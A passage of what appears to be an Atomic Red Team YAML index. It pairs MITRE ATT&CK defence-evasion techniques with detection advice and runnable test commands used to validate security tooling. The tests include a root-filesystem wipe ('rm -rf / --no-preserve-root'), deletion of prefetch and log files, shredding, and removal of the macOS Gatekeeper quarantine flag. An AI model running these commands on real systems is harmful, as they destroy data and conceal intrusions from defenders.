        that includes writing code to shared sections of the process’s memory, placing
        a pointer to the code in EWM, then invoking execution by returning execution
        control to the address in the process’s EWM.\n\nExecution granted through
        EWM injection may allow access to both the target process's memory and possibly
        elevated privileges. Writing payloads to shared sections also avoids the use
        of highly monitored API calls such as <code>WriteProcessMemory</code> and
        <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July
        2017) More sophisticated malware samples may also potentially bypass protection
        mechanisms such as data execution prevention (DEP) by triggering a combination
        of windows procedures and other system functions that will rewrite the malicious
        payload inside an executable portion of the target process.  (Citation: MalwareTech
        Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning
        code in the context of another process may allow access to the process's memory,
        system/network resources, and possibly elevated privileges. Execution via
        EWM injection may also evade detection from security products since the execution
        is masked under a legitimate process. "
      id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:31.004Z'
      created: '2020-01-14T17:18:32.126Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_detection: 'Monitor for API calls related to enumerating and manipulating
        EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and
        SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated
        with this technique have also used SendNotifyMessage (Citation: Microsoft
        SendNotifyMessage function) to trigger the associated window procedure and
        eventual malicious injection. (Citation: Elastic Process Injection July 2017)'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1070.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1070.004
        url: https://attack.mitre.org/techniques/T1070/004
      - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
          of the Trade. Retrieved December 2, 2015.'
        source_name: Trend Micro APT Attack Tools
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: File Deletion
      description: |-
        Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

        There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
      id: attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T21:34:16.209Z'
      created: '2020-01-31T12:35:36.479Z'
      x_mitre_contributors:
      - Walker Johnson
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_defense_bypassed:
      - Host forensic analysis
      x_mitre_detection: It may be uncommon for events related to benign command-line
        functions such as DEL or third-party utilities or tools to be found in an
        environment, depending on the user base and how systems are typically used.
        Monitoring for command-line deletion functions to correlate with binaries
        or other files that an adversary may drop and remove may lead to detection
        of malicious activity. Another good practice is monitoring for known deletion
        and secure deletion tools that are not already on systems within an enterprise
        network that an adversary could introduce. Some monitoring tools may collect
        command-line arguments, but may not capture DEL commands since DEL is a native
        function within cmd.exe.
      x_mitre_data_sources:
      - 'File: File Deletion'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1070.004
    atomic_tests:
    - name: Delete a single file - Linux/macOS
      auto_generated_guid: 562d737f-2fc6-4b09-8c2a-7f8ff0828480
      description: 'Delete a single file from the temporary directory

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        file_to_delete:
          description: Path of file to delete
          type: Path
          default: "/tmp/victim-files/a"
      executor:
        command: 'rm -f #{file_to_delete}

'
        name: sh
    - name: Delete an entire folder - Linux/macOS
      auto_generated_guid: a415f17e-ce8d-4ce2-a8b4-83b674e7017e
      description: 'Recursively delete the temporary directory and all files contained
        within it

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        folder_to_delete:
          description: Path of folder to delete
          type: Path
          default: "/tmp/victim-files"
      executor:
        command: 'rm -rf #{folder_to_delete}

'
        name: sh
    - name: Overwrite and delete a file with shred
      auto_generated_guid: '039b4b10-2900-404b-b67f-4b6d49aa6499'
      description: 'Use the `shred` command to overwrite the temporary file and then
        delete it

'
      supported_platforms:
      - linux
      input_arguments:
        file_to_shred:
          description: Path of file to shred
          type: Path
          default: "/tmp/victim-shred.txt"
      executor:
        command: 'shred -u #{file_to_shred}

'
        name: sh
    - name: Delete a single file - Windows cmd
      auto_generated_guid: 861ea0b4-708a-4d17-848d-186c9c7f17e3
      description: |
        Delete a single file from the temporary directory using cmd.exe.
        Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.
      supported_platforms:
      - windows
      input_arguments:
        file_to_delete:
          description: File to delete. Run the prereq command to create it if it does
            not exist.
          type: String
          default: "%temp%\\deleteme_T1551.004"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file to delete must exist on disk at specified location
          (#{file_to_delete})

'
        prereq_command: 'IF EXIST "#{file_to_delete}" ( EXIT 0 ) ELSE ( EXIT 1 )

'
        get_prereq_command: 'echo deleteme_T1551.004 >> #{file_to_delete}

'
      executor:
        command: 'del /f #{file_to_delete}

'
        name: command_prompt
    - name: Delete an entire folder - Windows cmd
      auto_generated_guid: ded937c4-2add-42f7-9c2c-c742b7a98698
      description: |
        Recursively delete a folder in the temporary directory using cmd.exe.
        Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.
      supported_platforms:
      - windows
      input_arguments:
        folder_to_delete:
          description: Folder to delete. Run the prereq command to create it if it
            does not exist.
          type: String
          default: "%temp%\\deleteme_T1551.004"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file to delete must exist on disk at specified location
          (#{folder_to_delete})

'
        prereq_command: 'IF EXIST "#{folder_to_delete}" ( EXIT 0 ) ELSE ( EXIT 1 )

'
        get_prereq_command: 'mkdir #{folder_to_delete}

'
      executor:
        command: 'rmdir /s /q #{folder_to_delete}

'
        name: command_prompt
    - name: Delete a single file - Windows PowerShell
      auto_generated_guid: 9dee89bd-9a98-4c4f-9e2d-4256690b0e72
      description: 'Delete a single file from the temporary directory using Powershell.
        Upon execution, no output will be displayed. Use File Explorer to verify the
        file was deleted.

'
      supported_platforms:
      - windows
      input_arguments:
        file_to_delete:
          description: File to delete. Run the prereq command to create it if it does
            not exist.
          type: String
          default: "$env:TEMP\\deleteme_T1551.004"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The file to delete must exist on disk at specified location
          (#{file_to_delete})

'
        prereq_command: 'if (Test-Path #{file_to_delete}) {exit 0} else {exit 1}

'
        get_prereq_command: 'New-Item -Path #{file_to_delete} | Out-Null

'
      executor:
        command: 'Remove-Item -path #{file_to_delete}

'
        name: powershell
    - name: Delete an entire folder - Windows PowerShell
      auto_generated_guid: edd779e4-a509-4cba-8dfa-a112543dbfb1
      description: 'Recursively delete a folder in the temporary directory using Powershell.
        Upon execution, no output will be displayed. Use File Explorer to verify the
        folder was deleted.

'
      supported_platforms:
      - windows
      input_arguments:
        folder_to_delete:
          description: Folder to delete. Run the prereq command to create it if it
            does not exist.
          type: String
          default: "$env:TEMP\\deleteme_folder_T1551.004"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The folder to delete must exist on disk at specified location
          (#{folder_to_delete})

'
        prereq_command: 'if (Test-Path #{folder_to_delete}) {exit 0} else {exit 1}

'
        get_prereq_command: 'New-Item -Path #{folder_to_delete} -Type Directory |
          Out-Null

'
      executor:
        command: 'Remove-Item -Path #{folder_to_delete} -Recurse

'
        name: powershell
    - name: Delete Filesystem - Linux
      auto_generated_guid: f3aa95fe-4f10-4485-ad26-abf22a764c52
      description: 'This test deletes the entire root filesystem of a Linux system.
        This technique was used by Amnesia IoT malware to avoid analysis. This test
        is dangerous and destructive, do NOT use on production equipment.

'
      supported_platforms:
      - linux
      executor:
        command: 'rm -rf / --no-preserve-root > /dev/null 2> /dev/null

'
        name: bash
    - name: Delete Prefetch File
      auto_generated_guid: 36f96049-0ad7-4a5f-8418-460acaeb92fb
      description: |
        Delete a single prefetch file.  Deletion of prefetch files is a known anti-forensic technique. To verify execution, Run "(Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" | Measure-Object).Count"
        before and after the test to verify that the number of prefetch files decreases by 1.
      supported_platforms:
      - windows
      executor:
        command: 'Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem
          -Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0])

'
        name: powershell
        elevation_required: true
    - name: Delete TeamViewer Log Files
      auto_generated_guid: 69f50a5f-967c-4327-a5bb-e1a9a9983785
      description: |
        Adversaries may delete TeamViewer log files to hide activity. This should provide a high true-positive alert ration.
        This test just places the files in a non-TeamViewer folder, a detection would just check for a deletion event matching the TeamViewer
        log file format of TeamViewer_##.log. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.

        https://twitter.com/SBousseaden/status/1197524463304290305?s=20
      supported_platforms:
      - windows
      input_arguments:
        teamviewer_log_file:
          description: Teamviewer log file to delete. Run the prereq command to create
            it if it does not exist.
          type: String
          default: "$env:TEMP\\TeamViewer_54.log"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The folder to delete must exist on disk at specified location
          (#{teamviewer_log_file})

'
        prereq_command: 'if (Test-Path #{teamviewer_log_file}) {exit 0} else {exit
          1}

'
        get_prereq_command: 'New-Item -Path #{teamviewer_log_file} | Out-Null

'
      executor:
        command: 'Remove-Item #{teamviewer_log_file}

'
        name: powershell
  T1222:
    technique:
      id: attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: File and Directory Permissions Modification
      description: |-
        Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

        Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).
      external_references:
      - source_name: mitre-attack
        external_id: T1222
        url: https://attack.mitre.org/techniques/T1222
      - url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
          Retrieved August 19, 2018.
        source_name: Hybrid Analysis Icacls1 June 2018
      - url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
          Retrieved August 19, 2018.
        source_name: Hybrid Analysis Icacls2 May 2018
      - url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
        description: Netsurion. (2014, February 19). Monitoring File Permission Changes
          with the Windows Security Log. Retrieved August 19, 2018.
        source_name: EventTracker File Permissions Feb 2014
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-01T20:05:05.562Z'
      created: '2018-10-17T00:14:20.652Z'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      - root
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_detection: |-
        Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.

        Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)
      x_mitre_defense_bypassed:
      - File system access controls
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      - 'File: File Metadata'
      x_mitre_contributors:
      - CrowdStrike Falcon OverWatch
      - Jan Miller, CrowdStrike
      x_mitre_version: '2.1'
    atomic_tests: []
  T1553.001:
    technique:
      id: attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e
      description: "Adversaries may modify file attributes that signify programs are
        from untrusted sources to subvert Gatekeeper controls. In macOS and OS X,
        when applications or programs are downloaded from the internet, there is a
        special attribute set on the file called <code>com.apple.quarantine</code>.
        This attribute is read by Apple's Gatekeeper defense program at execution
        time and provides a prompt to the user to allow or deny execution. \n\nApps
        loaded onto the system from USB flash drive, optical disk, external hard drive,
        or even from a drive shared over the local network won’t set this flag. Additionally,
        it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
        This completely bypasses the built-in Gatekeeper check. (Citation: Methods
        of Mac Malware Persistence) The presence of the quarantine flag can be checked
        by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>.
        Similarly, given sudo access or elevated permission, this attribute can be
        removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>.
        (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n
        \nIn typical operation, a file will be downloaded from the internet and given
        a quarantine flag before being saved to disk. When the user tries to open
        the file or application, macOS’s gatekeeper will step in and check for the
        presence of this flag. If it exists, then macOS will then prompt the user
        to confirmation that they want to run the program and will even provide the
        URL where the application came from. However, this is all based on the file
        being downloaded from a quarantine-savvy application. (Citation: Bypassing
        Gatekeeper)"
      name: Gatekeeper Bypass
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1553.001
        url: https://attack.mitre.org/techniques/T1553/001
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      - url: https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
        description: Rich Trouton. (2012, November 20). Clearing the quarantine extended
          attribute from downloaded applications. Retrieved July 5, 2017.
        source_name: Clearing quarantine attribute
      - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
        source_name: OceanLotus for OS X
      - url: https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/
        description: Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper.
          Retrieved July 5, 2017.
        source_name: Bypassing Gatekeeper
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-20T22:41:20.063Z'
      created: '2020-02-05T16:16:08.471Z'
      x_mitre_platforms:
      - macOS
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: Monitoring for the removal of the <code>com.apple.quarantine</code>
        flag by a user instead of the operating system is a suspicious action and
        should be examined further. Monitor and investigate attempts to modify extended
        file attributes with utilities such as <code>xattr</code>. Built-in system
        utilities may generate high false positive alerts, so compare against baseline
        knowledge for how systems are typically used and correlate modification events
        with other indications of malicious activity where possible.
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1553.001
    atomic_tests:
    - name: Gatekeeper Bypass
      auto_generated_guid: fb3d46c6-9480-4803-8d7d-ce676e1f1a9b
      description: 'Gatekeeper Bypass via command line

'
      supported_platforms:
      - macos
      input_arguments:
        app_path:
          description: Path to app to be used
          type: Path
          default: myapp.app
      executor:
        command: 'sudo xattr -d com.apple.quarantine #{app_path}

'
        elevation_required: true
        name: sh
  T1484.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1484.001
        url: https://attack.mitre.org/techniques/T1484/001
      - source_name: TechNet Group Policy Basics
        url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
          Understanding the Structure of a Group Policy Object. Retrieved March 5,
          2019.'
      - source_name: ADSecurity GPO Persistence 2016
        url: https://adsecurity.org/?p=2716
        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
          #17: Group Policy. Retrieved March 5, 2019.'
      - source_name: Wald0 Guide to GPOs
        url: https://wald0.com/?p=179
        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
          OUs. Retrieved March 5, 2019.
      - source_name: Harmj0y Abusing GPO Permissions
        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
          March 5, 2019.
      - source_name: Mandiant M Trends 2016
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
          March 5, 2019.
      - source_name: Microsoft Hacking Team Breach
        url: https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/
        description: 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach:
          A Cyber Jurassic Park. Retrieved March 5, 2019.'
      - source_name: Harmj0y SeEnableDelegationPrivilege Right
        url: http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
        description: Schroeder, W. (2017, January 10). The Most Dangerous User Right
          You (Probably) Have Never Heard Of. Retrieved March 5, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Group Policy Modification
      description: "Adversaries may modify Group Policy Objects (GPOs) to subvert
        the intended discretionary access controls for a domain, usually with the
        intention of escalating privileges on the domain. Group policy allows for
        centralized management of user and computer settings in Active Directory (AD).
        GPOs are containers for group policy settings made up of files stored within
        a predicable network path <code>\\\\&lt;DOMAIN&gt;\\SYSVOL\\&lt;DOMAIN&gt;\\Policies\\</code>.(Citation:
        TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike
        other objects in AD, GPOs have access controls associated with them. By default
        all user accounts in the domain have permission to read GPOs. It is possible
        to delegate GPO access control permissions, e.g. write access, to specific
        users or groups in the domain.\n\nMalicious GPO modifications can be used
        to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),
        [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001),
        [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create
        Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),
        \ and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide
        to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends
        2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many
        user and machine settings in the AD environment, there are a great number
        of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide
        to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code>
        can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)
        by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation:
        Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases
        an adversary might modify specific user rights like SeEnableDelegationPrivilege,
        set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>,
        to achieve a subtle AD backdoor with complete control of the domain because
        the user account under the adversary's control would then be able to modify
        GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)"
      id: attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T15:52:24.315Z'
      created: '2020-12-28T21:50:59.844Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:

        * Event ID 5136 - A directory service object was modified
        * Event ID 5137 - A directory service object was created
        * Event ID 5138 - A directory service object was undeleted
        * Event ID 5139 - A directory service object was moved
        * Event ID 5141 - A directory service object was deleted


        GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Creation'
      - 'Active Directory: Active Directory Object Deletion'
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Itamar Mizrahi, Cymptom
      - Tristan Bennett, Seamless Intelligence
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1564.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1564.005
        url: https://attack.mitre.org/techniques/T1564/005
      - source_name: MalwareTech VFS Nov 2014
        url: https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html
        description: Hutchins, M. (2014, November 28). Virtual File Systems for Beginners.
          Retrieved June 22, 2020.
      - url: https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html
        description: 'Andonov, D., et al. (2015, December 7). Thriving Beyond The
          Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved
          May 13, 2016.'
        source_name: FireEye Bootkits
      - source_name: ESET ComRAT May 2020
        url: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
        description: 'Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year
          journey. Retrieved June 15, 2020.'
      - source_name: Kaspersky Equation QA
        description: 'Kaspersky Lab''s Global Research and Analysis Team. (2015, February).
          Equation Group: Questions and Answers. Retrieved December 21, 2015.'
        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hidden File System
      description: |-
        Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)

        Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)
      id: attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-29T15:12:11.024Z'
      created: '2020-06-28T22:55:55.719Z'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Firmware: Firmware Modification'
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: Detecting the use of a hidden file system may be exceptionally
        difficult depending on the implementation. Emphasis may be placed on detecting
        related aspects of the adversary lifecycle, such as how malware interacts
        with the hidden file system or how a hidden file system is loaded. Consider
        looking for anomalous interactions with the Registry or with a particular
        file on disk. Likewise, if the hidden file system is loaded on boot from reserved
        disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003)
        activity.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1564.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1564.001
        url: https://attack.mitre.org/techniques/T1564/001
      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        source_name: Sofacy Komplex Trojan
      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
        source_name: Antiquated Mac Malware
      - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
          Retrieved July 10, 2017.'
        source_name: WireLurker
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hidden Files and Directories
      description: |-
        Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

        On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.

        Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

        Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.
      id: attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T22:32:25.985Z'
      created: '2020-02-26T17:46:13.128Z'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor the file system and shell commands for files being
        created with a leading "." and the Windows command-line use of attrib.exe
        to add the hidden attribute.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      identifier: T1564.001
    atomic_tests:
    - name: Create a hidden file in a hidden directory
      auto_generated_guid: 61a782e5-9a19-40b5-8ba4-69a4b9f3d7be
      description: 'Creates a hidden file inside a hidden directory

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          mkdir /var/tmp/.hidden-directory
          echo "T1564.001" > /var/tmp/.hidden-directory/.hidden-file
        cleanup_command: 'rm -rf /var/tmp/.hidden-directory/

'
        name: sh
    - name: Mac Hidden file
      auto_generated_guid: cddb9098-3b47-4e01-9d3b-6f5f323288a9
      description: 'Hide a file on MacOS

'
      supported_platforms:
      - macos
      executor:
